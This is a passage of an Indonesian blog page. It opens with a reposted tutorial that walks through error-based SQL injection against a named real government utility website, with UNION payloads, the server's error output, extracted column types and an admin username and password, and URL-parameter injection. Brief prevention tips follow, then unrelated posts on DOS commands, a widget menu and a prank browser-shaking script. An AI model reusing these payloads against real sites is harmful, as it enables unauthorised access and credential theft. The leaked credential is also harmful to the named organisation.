‘ union select sum(NOMOR) from T_ADMIN–
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
——————–
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
‘ union select sum(NIP) from T_ADMIN–
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
——————–
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
‘ union select sum(nama_kolom) from T_ADMIN–
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–
artinya kita memilih minimum nama user yang lebih besar dari ‘a’
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value ‘bill ‘ to
a column of data type int.
/sipm/admin/dologin.asp, line 7
——————–
Anda lihat :
varchar value ‘bill ‘
‘bill’ itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = ‘bill’–
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
———————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value ‘m@mpusk@u’ to a
column of data type int.
/sipm/admin/dologin.asp, line 7
———————
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba :(

Atau kita pakai jalan pintas saja….

Kita inject-kan :
‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA =’bill’–
catatan : harus satu baris.
Duarrrrrr……….
Glhodhak………….
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1–
akan keluar pesan error :
—————————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘tb_news.NewsId’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
—————————
artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.

******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user
di SQL Server Security tab.

Yah itulah mungkin yang dapat saya ceritakan…..
Hal itu adalah gambaran, betapa tidak amannya dunia internet…
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding :))

Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Special greets :
[+] www.neoteker.or.id
[+] www.bosen.net
[+] ftp_geo
[+] Schizoprenic (XNuxer Research Center) –> BEBASKAN DIA !!!

Kiriman dari : Syamsi Kusyanti
Thu, 20 Jul 2006 08:29:04 +0700


Read More | Goto Top

Perintah - Perintah DOS Level 1
Share 0 komentar

MELIHAT DAFTAR PERINTAH YANG VALID DI COMMAND PROMPT: “HELP”

Untuk mengetahui perintah-perintah apa saja yang berlaku di Command Prompt, cukup ketikkan HELP kemudian tekan Enter. Untuk mengetahui daftar parameter spesifik untuk perintah tertentu, ketikkan spasi diikuti tanda /? di belakang perintah utama. Misalnya, untuk mengetahui parameter-parameter apa saja yang dapat diberikan untuk perintah “DIR”, cukup ketikkan “DIR /?” kemudian tekan Enter.

Di bawah ini diberikan ringkasan daftar perintah-perintah yang dapat digunakan di Command Prompt, yang penyajiannya dibagi dalam tiga kategori: dasar, mengenah dan lanjut. Pembagian ini diharapkan dapat memudahkan pembaca yang masih pemula untuk memilih prioritas perintah-perintah mana yang perlu dipelajari terlebih dahulu, terutama perintah-perintah yang paling sering digunakan. Sebenarnya tidak semua perintah disajikan di sini, hanya seingat dan sesempat penulis saja (halah…).

Perintah-perintah tingkat dasar:

Perintah-perintah tingkat dasar diperuntukkan bagi mereka yang masih dalam tahap belajar.

ATTRIB Perintah eksternal. Untuk melihat/mengubah atribut file
CLS Perintah internal. Untuk menghapus layar monitor
COPY Perintah internal. Untuk mengkopi file
DEL Perintah internal. Untuk menghapus file
DIR Perintah internal. Untuk melihat daftar file/folder di folder/direktori tertentu
MD Perintah internal. Untuk membuat direktori/folder baru
RD Perintah internal. Untuk menghapus folder (folder kosong)
REN Perintah internal. Untuk mengubah nama file/folder
TYPE Perintah internal. Untuk melihat isi file

Perintah-perintah tingkat menengah:

Perintah-perintah tingkat menengah diperuntukkan bagi mereka yang mulai mempelajari langkah-langkah recovery ringan, seperti format/install ulang, bad sector recovery.

EDIT Perintah eksternal. Untuk mengedit file teks (interaktif)
FDISK Perintah eksternal. Untuk melihat/mengubah/membuat partisi harddisk
FORMAT Perintah eksternal. Untuk memformat disket/harddisk
MORE Untuk mencegah tampilan menggulung terus-menerus
SYS Eksternal apa internal ya? Yang jelas untuk membuat disket/harddisk jadi bootable

Perintah-perintah tingkat lanjut:

DEBUG Perintah eksternal. Untuk melihat/mengubah isi file dalam format heksadesimal
REG Perintah eksternal. Untuk melihat/mengubah/menghapus key/value registry
TASKKILL Perintah eksternal. Untuk menghentikan/membunuh proses yang sedang berlangsung
TASKLIST Perintah eksternal. Untuk melihat daftar proses yang sedang berlangsung

Perintah-perintah BATCH

@
ECHO
REM

Program-program Utilities
QuickBASIC, PASCAL, TURBO C (bahasa pemrograman, program untuk membuat program).
Partition Magic for DOS (program partisi yang lebih mudah digunakan dibandingkan FDISK>/p>

MELIHAT DAFTAR FILE: “DIR”

Perintah “DIR” berfungsi untuk melihat daftar file/folder yang berada di direktori atau folder tertentu. Sebenarnya perintah DIR mempunyai banyak sekali parameter perintah yang dapat kita gunakan untuk membatasi daftar file/folder yang kita inginkan. Di antaranya, parameter-parameter ini dapat kita gunakan untuk menentukan file, folder atau file dan folder yang ingin kita lihat di direktori/folder tertentu, kemudian menentukan apakah kita akan menampilkan file-file yang hidden atau tidak, kemudian mengurutkan berdasarkan nama, tanggal, ukuran, dan sebagainya. Untuk mengetahui daftar parameter dan cara penggunaannya, ketikkan “DIR /?” kemudian tekan Enter.

Melihat daftar file/folder dalam direktori/folder tertentu
DIR (tanpa parameter)

Melihat daftar file saja
DIR /a-d

Melihat daftar folder saja
DIR /ad

Melihat daftar file yang tersembunyi
DIR /a-dh

Melihat daftar folder yang tersembunyi
DIR /adh

Melihat daftar file/folder yang tersembunyi
DIR /ah

MENGETAHUI/MENGUBAH ATRIBUT FILE: “ATTRIB”

Untuk mengetahui daftar parameter untuk perintah “ATTRIB”, ketikkan “ATTRIB /?”.

Melihat attribut file/folder
Format umum: ATTRIB namafile
Contoh: ATTRIB readme.txt
Untuk melihat attribut dari beberapa file/folder, gunakan wildcards character (*) pada namafile.

Mengubah attribut file/folder
ATTRIB daftaratribut namafile
Daftar atribut yang valid: H, R, S
Gunakan tanda ‘-’ di depan kode attribut untuk menonaktifkan atribut tertentu, gunakan tanda ‘+’ untuk mengaktifkan atribut tertentu.

Contoh pemakaian:
Mengubah atribut file README.TXT menjadi hidden
ATTRIB +h README.TXT

Mengaktifkan atribut hidden sekaligus atribut system pada file README.TXT
ATTRIB +h +s README.TXT

Menonaktifkan attribut hidden, read-only dan system pada semua file dalam direktori aktif (current directory). Kombinasi atribut ini dapat digunakan untuk memunculkan kembali file-file yang ‘disembunyikan’, misalnya sebagai dampak infeksi virus ke komputer:
ATTRIB -h -r -s *.*

Read More | Goto Top

Downloads
Share 0 komentar

Berikut ini adalah kumpulan software-software download :
  1. Anti Virus
  2. Internet
  3. Utilities

Read More | Goto Top

13 Maret 2008

Menambahkan Menu Pada Widget
Share 1 komentar

Terkadang ada template yg udah menyediakan fasilitas menu kode XMLnya. Namun bagi template yg tidak menyediakan fasilitas ini, kita dapat menambahkannya pada widget tanpa mengganggu Code XML yg ada di Code Template. Berikut ini adalah salah satu code menu yang siap di copy-paste pada widget anda.

<style type="text/css">
#menuarea{
background-color:#303030;
padding:7px 5px 7x 5px;
border:1px solid #404040;

}
.menu{
background-color:#404040;
color:#efefef;
text-decoration:none;
margin:0 5px 0 5px;
padding:5px 15px 5px 15px;
border:1px solid #303030;
font-family:arial,tahoma,verdana;
font-size:12px;
font-weight:bold;
}
.menu:visited {
background-color:#404040;
color:#efefef;
text-decoration:none;
}
.menu:hover {
background-color:#606060;
color:#00ffff;
text-decoration:none;
border-bottom:3px solid red;
}
</style>
<div id="menuarea">
<a class="menu" href="" title="Home">Home</a>
<a class="menu" href="http://www.blogger.com/profile/04180141794378982260" title="Profil aQ">Profile</a>
<a class="menu" href="#" title="Templates">Templates</a>
<a class="menu" href="http://www.sbc-forum.890m.com" target="blank" title="SBC Forum">Forum</a>
</div>

Selamat Mencoba

Read More | Goto Top

06 Maret 2008

Jendela Browser Bergetar saat klik kanan
Share 1 komentar

Dulu aku sering menemukan halaman web yg ketika dibuka/diklik kanan jendelanya kaya kena gempa bumi, hehe. Aku kaget aku kirain komputerku rusak.... pas aku cari tau, ternyata hanya suatu script (javascript) yang membuat jendela browser kita bergetar kaya gempa bumi. Seteleh saya coba juga, eh ternyata bisa juga....hehehe Horee!!!
nah bagi temen2 yang mw coba juga, script ada di bawah ini :

<script language="javascript">

<!-- Begin
function shake(n) {
if (self.moveBy) {
for (i = 20; i > 0; i--) {
for (j = n; j > 0; j--) {
self.moveBy(0,i);
self.moveBy(i,0);
self.moveBy(0,-i);
self.moveBy(-i,0);
}
}
}
}
// End -->


PopUpURL = "Isi Pesan Anda";

isIE=document.all;
isNN=!document.all&&document.getElementById;
isN4=document.layers;

if (isIE||isNN)
{
document.oncontextmenu=checkV;
}
else
{
document.captureEvents(Event.MOUSEDOWN || Event.MOUSEUP);
document.onmousedown=checkV;
}
function checkV(e)
{
if (isN4)
{
if (e.which==2||e.which==3)
{
dPUW=alert("Isi Pesan Anda");
shake(2);
return false;
}
}
else
{
dPUW=alert(PopUpURL);
shake(2);
return false;
}
}
</script>

Read More | Goto Top

Berlangganan

Berlangganan RSS Feed via Email:


Ada kesalahan di dalam gadget ini

Artikel Populer

Blog Archive

Pengikut

Recomended Download


Add to Your Blog